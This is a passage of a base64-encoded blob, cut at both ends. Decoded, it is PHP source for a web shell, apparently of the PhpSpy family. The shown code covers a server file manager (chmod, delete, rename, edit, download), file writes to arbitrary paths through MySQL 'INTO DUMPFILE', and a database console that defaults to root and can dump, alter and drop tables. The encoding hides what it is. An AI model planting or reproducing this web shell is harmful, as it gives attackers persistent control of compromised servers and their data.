JfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydmaWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRlIGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGRpcl9pKys7DQoJCX0gZWxzZSB7DQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsNCgkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iV2luZ2RpbmdzIDMiIHNpemU9ND49PC9mb250PjwvdGQ+PHRkIG5vd3JhcCBjb2xzcGFuPSI1Ij48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy5nZXRVcFBhdGgoJG5vd3BhdGgpLidcJyk7Ij5QYXJlbnQgRGlyZWN0b3J5PC9hPjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXAoJzx0ciBiZ2NvbG9yPSJncmVlbiIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsNCglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCd0aGVmaWxlJyk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCSRmaWxlX2kgPSAnMCc7DQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsNCgkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZmlsZV9pKys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsYXNzPSJmb3V0MSI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOw0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KCWlmKCRkb2luZz09Im15c3FsdXBsb2FkIil7DQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOw0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRzYXZlcGF0aCkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJaWYoISRmaWxlbmFtZSkgew0KCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7DQoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkkY29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7DQoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOw0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgMHh7JGNvbnRlbnRzfSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVwYXRoJzsiKTsNCgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7DQoJaWYoIWRvaW5nKSByZXR1cm47DQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJ1c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuY2hhcnNldC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIEluZm9ybWF0aW9uJywnbmFtZSc9PidkYmluZm8nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQk5hbWU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJuYW1lKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoJcCgnPGgyPlVwbG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7DQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCglwKCc8aDI+RG93bmxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7DQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KCW1ha2VoaWRlKCdkYnBvcnQnKTsNCgltYWtlaGlkZSgnZGJ1c2VyJyk7DQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KCW1ha2VoaWRlKCdkYm5hbWUnKTsNCgltYWtlaGlkZSgnY2hhcnNldCcpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgew0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KCQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBlbHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlmICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJaWYgKCR2YWxzdHIpIHsNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7DQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgl9DQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbShteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7DQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KCX0NCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsNCglpZighZGJuYW1lKSByZXR1cm47DQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOw0KCWlmIChkb2luZykgew0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCX0NCglpZiAocGFnZSkgew0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCgl9DQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJLy8gU1FMDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KCXAoJGRiZm9ybSk7DQoJZm9ybWZvb3QoKTsNCg0KCS8vIERhdGENCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOw0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlmKCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBlbHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCS8vIGdldCBteXNxbCBzZXJ2ZXINCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vIFNob3cgZGF0YWJhc2UNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCgkJJGRicyA9IGFycmF5KCk7DQoJCSRkYnNbXSA9ICctLSBTZWxlY3QgYSBkYXRhYmFzZSAtLSc7DQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCSRkYnNbJGRiWydEYXRhYmFzZSddXSA9ICRkYlsnRGF0YWJhc2UnXTsNCgkJfQ0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltd